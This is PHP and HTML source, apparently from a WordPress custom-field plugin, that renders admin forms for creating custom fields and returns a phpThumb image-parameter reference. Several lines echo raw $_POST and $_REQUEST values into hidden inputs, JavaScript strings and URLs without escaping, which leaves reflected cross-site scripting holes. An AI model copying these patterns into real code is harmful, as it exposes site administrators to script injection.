?>:</th> <td><input type="text" name="custom-field-order" id="custom-field-order" size="2" value="0" /></td> </tr> <tr valign="top"> <th scope="row"><?php _e("Required", $flutter_domain); ?>:</th> <td> <select name="custom-field-required" id="custom-field-required"> <option value="0" selected="selected"><?php _e('Not Required - can be empty',$flutter_domain); ?></option> <option value="1"><?php _e('Required - can not be empty',$flutter_domain); ?></option> </select> </td> </tr> <tr valign="top"> <th scope="row"><?php _e("Type", $flutter_domain); ?>:</th> <td> <!-- START :: Javascript for Image/Photo' Css Class and for check --> <script type="text/javascript" language="javascript"> submitForm = false; function fun(name) { if(name == "Image") { document.getElementById('divLbl').style.display = 'inline'; document.getElementById('divCSS').style.display = 'inline'; } else { document.getElementById('divLbl').style.display = 'none'; document.getElementById('divCSS').style.display = 'none'; } } function checkEmpty() { if (submitForm && (document.getElementById('custom-field-name').value == "" || document.getElementById('custom-field-description').value == "")){ alert("<?php _e('Please fill in the name and the label of the field',$flutter_domain); ?>"); return false; } return true; } </script> <!-- END :: Javascript for Image/Photo' Css Class --> <?php $field_types = RCCWP_CustomField::GetCustomFieldTypes(); foreach ($field_types as $field) : $checked = $field->name == RCCWP_CustomField::GetDefaultCustomFieldType() ? 'checked="checked"' : ''; ?> <label><input name="custom-field-type" value="<?php echo $field->id?>" type="radio" <?php echo $checked?> onclick='fun("<?php echo $field->name?>");' /> <!-- Calling Javascript Function --> <?php echo $field->name?></label><br /> <?php endforeach; ?> </td> </tr> <!-- START :: For Image/Photo' Css --> <tr valign="top"> <th scope="row"><div id="divLbl" style="display:none"><?php _e('Css Class',$flutter_domain);?>:</div></th> <td> <div id="divCSS" style="display:none"> <input name="custom-field-css" id="custom-field-css" size="40" type="text" value="freshout" /> </div> </td> </tr> <!-- END :: For Image/Photo' Css --> </tbody> </table> <p class="submit" > <a style="color:black" href="<?php echo RCCWP_ManagementPage::GetCustomWritePanelGenericUrl('cancel-create-custom-field')."&custom-group-id=$customGroupID"?>" class="button"><?php _e('Cancel',$flutter_domain); ?></a> <input type="submit" id="continue-create-custom-field" value='<?php _e("Continue",$flutter_domain); ?>' onclick="submitForm=true;"/> </p> </form> </div> <?php } function SetOptions() { global $flutter_domain; $current_field = RCCWP_CustomField::GetCustomFieldTypes($_POST['custom-field-type']); $customGroupID = $_REQUEST['custom-group-id']; ?> <div class="wrap"> <h2><?php _e("Create Custom Field", $flutter_domain);?></h2> <form action="<?php echo RCCWP_ManagementPage::GetCustomWritePanelGenericUrl('finish-create-custom-field')?>" method="post" id="continue-create-new-field-form"> <input type="hidden" name="custom-group-id" value="<?php echo $_POST['custom-group-id']?>" /> <input type="hidden" name="custom-field-name" value="<?php echo htmlspecialchars($_POST['custom-field-name'])?>" /> <input type="hidden" name="custom-field-description" value="<?php echo htmlspecialchars($_POST['custom-field-description'])?>" /> <input type="hidden" name="custom-field-duplicate" value="<?php echo htmlspecialchars($_POST['custom-field-duplicate'])?>" /> <input type="hidden" name="custom-field-order" value="<?php echo $_POST['custom-field-order']?>" /> <input type="hidden" name="custom-field-required" value="<?php echo $_POST['custom-field-required']?>" /> <input type="hidden" name="custom-field-type" value="<?php echo $_POST['custom-field-type']?>" /> <!-- Hidden value for Image/Photo' Css Class--> <input type="hidden" name="custom-field-css" value="<?php echo $_POST['custom-field-css']?>" /> <h3><?php echo $current_field->name?></h3> <table class="form-table" width="100%" border="0" cellspacing="0" cellpadding="6"> <tbody> <?php if ($current_field->has_properties == "true") : ?> <?php if (in_array($current_field->name, array('Textbox', 'Listbox'))) : if ($current_field->name == 'Textbox') $size = 25; else if ($current_field->name == 'Listbox') $size = 3; ?> <tr valign="top"> <th scope="row"><?php _e('Size', $flutter_domain); ?>:</th> <td><input type="text" name="custom-field-size" id="custom-field-size" size="2" value="<?php echo $size?>" /></td> </tr> <?php endif; ?> <?php if (in_array($current_field->name, array('Multiline Textbox'))) : $height = 3; $width = 23; ?> <tr valign="top"> <th scope="row"><?php _e('Height', $flutter_domain); ?>:</th> <td><input type="text" name="custom-field-height" id="custom-field-height" size="2" value="<?php echo $height?>" /></td> </tr> <tr valign="top"> <th scope="row"><?php _e('Width', $flutter_domain); ?>:</th> <td><input type="text" name="custom-field-width" id="custom-field-width" size="2" value="<?php echo $width?>" /></td> </tr> <?php endif; ?> <?php if (in_array($current_field->name, array('Slider'))) : $min_val = 0; $max_val = 10; $step = 1; ?> <tr valign="top"> <th scope="row"><?php _e('Value min', $flutter_domain); ?>:</th> <td><input type="text" name="custom-field-slider-min" id="custom-field-slider-min" size="2" value="<?php echo $min_val?>" /></td> </tr> <tr valign="top"> <th scope="row"><?php _e('Value max', $flutter_domain);?>:</th> <td><input type="text" name="custom-field-slider-max" id="custom-field-slider-max" size="2" value="<?php echo $max_val?>" /></td> </tr> <tr valign="top"> <th scope="row"><?php _e('Stepping', $flutter_domain);?>:</th> <td><input type="text" name="custom-field-slider-step" id="custom-field-slider-step" size="2" value="<?php echo $step?>" /></td> </tr> <?php endif; ?> <?php endif; // has_properties ?> <?php if ($current_field->has_options == "true") : ?> <tr valign="top"> <th scope="row"><?php _e('Options', $flutter_domain);?>:</th> <td> <textarea name="custom-field-options" id="custom-field-options" rows="2" cols="38"></textarea><br /> <em><?php _e('Separate each option with a newline.', $flutter_domain);?></em> </td> </tr> <tr valign="top"> <th scope="row"><?php _e('Default Value', $flutter_domain);?>:</th> <td> <?php if ($current_field->allow_multiple_values == "true") : ?> <textarea name="custom-field-default-value" id="custom-field-default-value" rows="2" cols="38"></textarea><br /> <em><?php _e('Separate each value with a newline.', $flutter_domain);?></em> <?php else : ?> <input type="text" name="custom-field-default-value" id="custom-field-default-value" size="25" /> <?php endif; ?> </td> </tr> <?php endif; ?> <?php if( $current_field->has_properties && $current_field->name == 'Image' ) : ?> <tr valign="top"> <th scope="row"><?php _e('Options', $flutter_domain);?>:</th> <td> <?php _e('Max Height', $flutter_domain);?>: <input type="text" name="custom-field-photo-height" id="custom-field-photo-height"/> <?php _e('Max Width', $flutter_domain);?>: <input type="text" name="custom-field-photo-width" id="custom-field-photo-width" /> <?php _e('Custom', $flutter_domain);?>: <input type="text" name="custom-field-custom-params" id="custom-field-custom-params" /> <div style="color:blue;text-decoration:underline;" onclick="div=document.getElementById('params');div.style.display='';" > <?php _e('Custom Options List', $flutter_domain);?> </div> <div id="params" style="display:none;" onclick="this.style.display='none';"> <pre><?php echo param_list(); ?></pre> </div> </td> </tr> <?php endif; ?> <!-- Date Custom Field --> <?php if( $current_field->has_properties && $current_field->name == 'Date' ) : ?> <tr valign="top"> <th scope="row"><?php _e('Options', $flutter_domain);?>:</th> <td> <?php _e('Format', $flutter_domain);?>: <select name="custom-field-date-format" id="custom-field-date-format"> <option value="m/d/Y">4/20/2008</option> <option value="l, F d, Y">Sunday, April 20, 2008</option> <option value="F d, Y">April 20, 2008</option> <option value="m/d/y">4/20/08</option> <option value="Y-m-d">2008-04-20</option> <option value="d-M-y">20-Apr-08</option> <option value="m.d.Y">4.20.2008</option> <option value="m.d.y">4.20.08</option> </select> </td> </tr> <?php endif; ?> <!-- Date Custom Field --> </tbody> </table> <p class="submit" > <a style="color:black" href="<?php echo RCCWP_ManagementPage::GetCustomWritePanelGenericUrl('cancel-create-custom-field')."&custom-group-id=$customGroupID"?>" class="button"><?php _e('Cancel', $flutter_domain); ?></a> <input type="submit" id="finish-create-custom-field" value="<?php _e('Finish', $flutter_domain); ?>" /> </p> </form> </div> <?php } function AddAjaxDynamicList(){ if(!empty($_GET['flutter_action']) && $_GET['flutter_action']=='create-custom-field'){ ?> <style type="text/css"> /* Big box with list of options */ #ajax_listOfOptions{ position:absolute; /* Never change this one */ width:375px; /* Width of box */ height:250px; /* Height of box */ overflow:auto; /* Scrolling features */ border:1px solid #317082; /* Dark green border */ background-color:#FFF; /* White background color */ text-align:left; font-size:0.9em; z-index:100; } #ajax_listOfOptions div{ /* General rule for both .optionDiv and .optionDivSelected */ margin:1px; padding:1px; cursor:pointer; font-size:0.9em; } #ajax_listOfOptions .optionDiv{ /* Div for each item in list */ } #ajax_listOfOptions .optionDivSelected{ /* Selected item in the list */ background-color:#317082; color:#FFF; } #ajax_listOfOptions_iframe{ background-color:#F00; position:absolute; z-index:5; } form{ display:inline; } </style> <script type="text/javascript"> var flutter_path = "<?php echo FLUTTER_URI ?>" ; var panel_id = "<?php echo $_REQUEST['custom-write-panel-id']; ?>" ; function copyField(){ selectedFieldId = document.create_custom_field_form.elements['custom-field-name_hidden'].value; window.location = "<?php echo RCCWP_ManagementPage::GetCustomWritePanelGenericUrl('copy-custom-field')."&custom-group-id=".$_REQUEST['custom-group-id']?>&custom-field-id="+selectedFieldId; } </script> <script type="text/javascript" src="<?php echo FLUTTER_URI?>js/ajax-dynamic-list/ajax.js"></script> <script type="text/javascript" src="<?php echo FLUTTER_URI?>js/ajax-dynamic-list/ajax-dynamic-list.js"> /************************************************************************************************************ (C) www.dhtmlgoodies.com, April 2006 This is a script from www.dhtmlgoodies.com. You will find this and a lot of other scripts at our website. Terms of use: You are free to use this script as long as the copyright message is kept intact. However, you may not redistribute, sell or repost it without our permission. Thank you! www.dhtmlgoodies.com Alf Magne Kalleland ************************************************************************************************************/ </script> <?php } } } //end class function param_list() { return ' src = filename of source image new = create new image, not thumbnail of existing image. Requires "w" and "h" parameters set. [ex: &new=FF0000|75] - red background, 75% opacity Set to hex color string of background. Opacity is optional (defaults to 100% opaque). w = max width of output thumbnail in pixels h = max height of output thumbnail in pixels wp = max width for portrait images hp = max height for portrait images wl = max width for landscape images hl = max height for landscape images ws = max width for square images hs = max height for square images f = output image format ("jpeg", "png", or "gif") q = JPEG compression (1=worst, 95=best, 75=default) sx = left side of source rectangle (default = 0) (values 0 < sx < 1 represent percentage) sy = top side of source rectangle (default = 0) (values 0 < sy < 1 represent percentage) sw = width of source rectangle (default = fullwidth) (values 0 < sw < 1 represent percentage) sh = height of source rectangle (default = fullheight) (values 0 < sh < 1 represent percentage) zc = zoom-crop. Will auto-crop off the larger dimension so that the image will fill the smaller dimension (requires both "w" and "h", overrides "iar", "far") Set to "1" or "C" to zoom-crop towards the center, or set to "T", "B", "L", "R", "TL", "TR", "BL", "BR" to gravitate towards top/left/bottom/right directions (requies ImageMagick for values other than "C" or "1") bg = background hex color (default = FFFFFF) bc = border hex color (default = 000000) fltr = filter system. Call as an array as follows: - "brit" (Brightness) [ex: &fltr[]=brit|<value] where <value is the amount +/- to adjust brightness (range -255 to 255) Availble in PHP5 with bundled GD only. - "cont" (Constrast) [ex: &fltr[]=cont|<value>] where <value is the amount +/- to adjust contrast (range -255 to 255) Availble in PHP5 with bundled GD only. - "gam" (Gamma Correction) [ex: &fltr[]=gam|<value>] where <value> can be a number >0 to 10+ (default 1.0) Must be >0 (zero gives no effect). There is no max, although beyond 10 is pretty useless. Negative numbers actually do something, maybe not quite the desired effect, but interesting nonetheless. - "sat" (SATuration) [ex: &fltr[]=sat|<value>] where <value> is a number between zero (no change) and -100 (complete desaturation = grayscale), or it can be any positive number for increased saturation. - "ds" (DeSaturate) [ex: &fltr[]=ds|<value>] is an alias for "sat" except values are inverted (positive values remove color, negative values boost saturation) - "gray" (Grayscale) [ex: &fltr[]=gray] remove all color from image, make it grayscale - "th" (Threshold) [ex: &fltr[]=th|<value>] makes image greyscale, then sets all pixels brighter than <value> (range 0-255) to white, and all pixels darker than <value> to black - "rcd" (Reduce Color Depth) [ex: &fltr[]=rcd|<c>|<d>] where <c> is the number of colors (2-256) you want in the output image, and <d> is "1" for dithering (deault) or "0" for no dithering - "clr" (Colorize) [ex: &fltr[]=clr|<value>|<color>] where <value> is a number between 0 and 100 for the amount of colorization, and <color> is the hex color to colorize to. - "sep" (Sepia) [ex: &fltr[]=sep|<value>|<color>] where <value> is a number between 0 and 100 for the amount of colorization (default=50), and <color> is the hex color to colorize to (default=A28065). Note: this behaves differently when applied by ImageMagick, in which case 80 is default, and lower values give brighter/yellower images and higher values give darker/bluer images - "usm" (UnSharpMask) [ex: &fltr[]=usm|<a>|<r>|<t>] where <a> is the amount (default = 80), <r> is the radius (default = 0.5), <t> is the threshold (default = 3). - "blur" (Blur) [ex: &fltr[]=blur|<radius>] where (0 < <radius> < 25) (default = 1) - "gblr" (Gaussian Blur) [ex: &fltr[]=gblr] Availble in PHP5 with bundled GD only. - "sblr" (Selective Blur) [ex: &fltr[]=gblr] Availble in PHP5 with bundled GD only. - "smth" (Smooth) [ex: &fltr[]=smth|<value>] where <value> is the weighting value for the matrix (range -10 to 10, default 6) Availble in PHP5 with bundled GD only. - "lvl" (Levels) [ex: &fltr[]=lvl|<channel>|<method>|<threshol>d where <channel> can be one of "r", "g", "b", "a" (for Red, Green, Blue, Alpha respectively), or "*" for all RGB channels (default) based on grayscale average. ImageMagick methods can support multiple channels (eg "lvl|rg|3") but internal methods cannot (they will use first character of channel string as channel) <method> can be one of: 0=Internal RGB; 1=Internal Grayscale; 2=ImageMagick Contrast-Stretch (default) 3=ImageMagick Normalize (may appear over-saturated) <threshold> is how much of brightest/darkest pixels will be clipped in percent (default = 0.1%) Using default parameters (&fltr[]=lvl) is similar to Auto Contrast in Adobe Photoshop. - "wb" (White Balance) [ex: &fltr[]=wb|<c>] where <c> is the target hex color to white balance on, this color is what "should be" white, or light gray. The filter attempts to maintain brightness so any gray color can theoretically be used. If <c> is omitted the filter guesses based on brightest pixels in each of RGB OR <c> can be the percent of white clipping used to calculate auto-white-balance (default = 0.1%) NOTE: "wb" in default settings already gives an effect similar to "lvl", there is usually no need to use "lvl" if "wb" is already used. - "hist" (Histogram) [ex: &fltr[]=hist|<b>|<c>|<w>|<h>|<a>|<o>|<x>|<y>] Where <b> is the color band(s) to display, from back to front (one or more of "rgba*" for Red Green Blue Alpha and Grayscale respectively); <c> is a semicolon-seperated list of hex colors to use for each graph band (defaults to FF0000, 00FF00, 0000FF, 999999, FFFFFF respectively); <w> and <h> are the width and height of the overlaid histogram in pixels, or if <= 1 then percentage of source image width/height; <a> is the alignment (same as for "wmi" and "wmt"); <o> is opacity from 0 (transparent) to 100 (opaque) (requires PHP v4.3.2, otherwise 100% opaque); <x> and <y> are the edge margin in pixels (or percent if 0 < (x|y) < 1) - "over" (OVERlay/underlay image) overlays an image on the thumbnail, or overlays the thumbnail on another image (to create a picture frame for example) [ex: &fltr[]=over|<i>|<u>|<m>|<o>] where <i> is the image filename; <u> is "0" (default) for overlay the image on top of the thumbnail or "1" for overlay the thumbnail on top of the image; <m> is the margin - can be absolute pixels, or if < 1 is a percentage of the thumbnail size [must be < 0.5] (default is 0 for overlay and 10% for underlay); <o> is opacity (0 = transparent, 100 = opaque) (requires PHP v4.3.2, otherwise 100% opaque); (thanks raynerape�gmail*com, shabazz3�msu*edu) - "wmi" (WaterMarkImage) [ex: &fltr[]=wmi|<f>|<a>|<o>|<x>|<y>|<r>] where <f> is the filename of the image to overlay; <a> is the alignment (one of BR, BL, TR, TL, C, R, L, T, B, *) where B=bottom, T=top, L=left, R=right, C=centre, *=tile) *or* an absolute position in pixels (from top-left corner of canvas to top-left corner of overlay) in format {xoffset}x{yoffset} (eg: "10x20") note: this is center position of image if <>x and <y> are set <o> is opacity from 0 (transparent) to 100 (opaque) (requires PHP v4.3.2, otherwise 100% opaque); <x> and <y> are the edge (and inter-tile) margin in pixels (or percent if 0 < (x|y) < 1) *or* if <a> is absolute-position format then <x> and <y> represent maximum width and height that the watermark image will be scaled to fit inside <r> is rotation angle of overlaid watermark - "wmt" (WaterMarkText) [ex: &fltr[]=wmt|<t>|<s>|<a>|<c>|<f>|<o>|<m>|<n>|<b>|<O>|<x>] where: <t> is the text to use as a watermark; URLencoded Unicode HTMLentities must be used for characters beyond chr(127). For example, the "eighth note" character (U+266A) is represented as "♪" and then urlencoded to "%26%239834%3B" Any instance of metacharacters will be replaced with their calculated value. Currently supported: ^Fb = source image filesize in bytes ^Fk = source image filesize in kilobytes ^Fm = source image filesize in megabytes ^X = source image width in pixels ^Y = source image height in pixels ^x = thumbnail width in pixels ^y = thumbnail height in pixels ^^ = the character ^ <s> is the font size (1-5 for built-in font, or point size for TrueType fonts); <a> is the alignment (one of BR, BL, TR, TL, C, R, L, T, B, * where B=bottom, T=top, L=left, R=right, C=centre, *=tile); *or* an absolute position in pixels (from top-left corner of canvas to top-left corner of overlay) in format {xoffset}x{yoffset} (eg: "10x20") <c> is the hex color of the text; <f> is the filename of the TTF file (optional, if omitted a built-in font will be used); <o> is opacity from 0 (transparent) to 100 (opaque) (requires PHP v4.3.2, otherwise 100% opaque); <m> is the edge (and inter-tile) margin in percent; <n> is the angle <b> is the hex color of the background; <O> is background opacity from 0 (transparent) to 100 (opaque) (requires PHP v4.3.2, otherwise 100% opaque); <x> is the direction(s) in which the background is extended (either "x" or "y" (or both, but both will obscure entire image)) Note: works with TTF fonts only, not built-in - "flip" [ex: &fltr[]=flip|x or &fltr[]=flip|y] flip image on X or Y axis - "ric" [ex: &fltr[]=ric|<x>|<y>] rounds off the corners of the image (to transparent for PNG output), where <x> is the horizontal radius of the curve and <y> is the vertical radius - "elip" [ex: &fltr[]=elip] similar to rounded corners but more extreme - "mask" [ex: &fltr[]=mask|filename.png] greyscale values of mask are applied as the alpha channel to the main image. White is opaque, black is transparent. - "bvl" (BeVeL) [ex: &fltr[]=bvl|<w>|<c1>|<c2>] where <w> is the bevel width, <c1> is the hex color for the top and left shading, <c2> is the hex color for the bottom and right shading - "bord" (BORDer) [ex: &fltr[]=bord|<w>|<rx>|<ry>|<>c where <w> is the width in pixels, <rx> and <ry> are horizontal and vertical radii for rounded corners, and <c> is the hex color of the border - "fram" (FRAMe) draws a frame, similar to "bord" but more configurable [ex: &fltr[]=fram|<w1>|<w2>|<c1>|<c2>|<c3>] where <w1> is the width of the main border, <w2> is the width of each side of the bevel part, <c1> is the hex color of the main border, <c2> is the highlight bevel color, <c3> is the shadow bevel color - "drop" (DROP shadow) [ex: &fltr[]=drop|<d>|<w>|<clr>|<a>] where <d> is distance from image to shadow, <w> is width of shadow fade (not yet implemented), <clr> is the hex color of the shadow, and <a> is the angle of the shadow (default=225) - "crop" (CROP image) [ex: &fltr[]=crop|<l>|<r>|<t>|<b>] where <l> is the number of pixels to crop from the left side of the resized image; <r>, <t>, <b> are for right, top and bottom respectively. Where (0 < x < 1) the value will be used as a percentage of width/height. Left and top crops take precedence over right and bottom values. Cropping will be limited such that at least 1 pixel of width and height always remains. - "rot" (ROTate) [ex: &fltr[]=rot|<a>|<b>] where <a> is the rotation angle in degrees; <b> is the background hex color. Similar to regular "ra" parameter but is applied in filter order after regular processing so you can rotate output of other filters. - "size" (reSIZE) [ex: &fltr[]=size|<x>|<y>|<s>] where <x> is the horizontal dimension in pixels, <y> is the vertical dimension in pixels, <s> is boolean whether to stretch (if 1) or resize proportionately (0, default) <x> and <y> will be interpreted as percentage of current output image size if values are (0 < X < 1) NOTE: do NOT use this filter unless absolutely neccesary. It is only provided for cases where other filters need to have absolute positioning based on source image and the resultant image should be resized after other filters are applied. This filter is less efficient than the standard resizing procedures. - "stc" (Source Transparent Color) [ex: &fltr[]=stc|<c>|<n>|<x>] where <c> is the hex color of the target color to be made transparent; <n> is the minimum threshold in percent (all pixels within <n>% of the target color will be 100% transparent, default <n>=5); <x> is the maximum threshold in percent (all pixels more than <x>% from the target color will be 100% opaque, default <x>=10); pixels between the two thresholds will be partially transparent. md5s = MD5 hash of the source image -- if this parameter is passed with the hash of the source image then the source image is not checked for existance or modification and the cached file is used (if available). If "md5s" is passed an empty string then phpThumb.php dies and outputs the correct MD5 hash value. This parameter is the single-file equivalent of "cache_source_filemtime_ignore_*" configuration paramters xto = EXIF Thumbnail Only - set to only extract EXIF thumbnail and not do any additional processing ra = Rotate by Angle: angle of rotation in degrees positive = counterclockwise, negative = clockwise ar = Auto Rotate: set to "x" to use EXIF orientation stored by camera. Can also be set to "l" or "L" for landscape, or "p" or "P" for portrait. "l" and "P" rotate the image clockwise, "L" and "p" rotate the image counter-clockwise. sfn = Source Frame Number - use this frame/page number for multi-frame/multi-page source images (GIF, TIFF, etc) aoe = Output Allow Enlarging - override the setting for $CONFIG["output_allow_enlarging"] (1=on, 0=off) ("far" and "iar" both override this and allow output larger than input) iar = Ignore Aspect Ratio - disable proportional resizing and stretch image to fit "h" & "w" (which must both be set). (1=on, 0=off) (overrides "far") far = Force Aspect Ratio - image will be created at size specified by "w" and "h" (which must both be set). Alignment: L=left,R=right,T=top,B=bottom,C=center BL,BR,TL,TR use the appropriate direction if the image is landscape or portrait. dpi = Dots Per Inch - input DPI setting when importing from vector image format such as PDF, WMF, etc sia = Save Image As - default filename to save generated image as. Specify the base filename, the extension (eg: ".png") will be automatically added maxb = MAXimum Byte size - output quality is auto-set to fit thumbnail into "maxb" bytes (compression quality is adjusted for JPEG, bit depth is adjusted for PNG and GIF) down = filename to save image to. If this is set the browser will prompt to save to this filename rather than display the image '; } ?>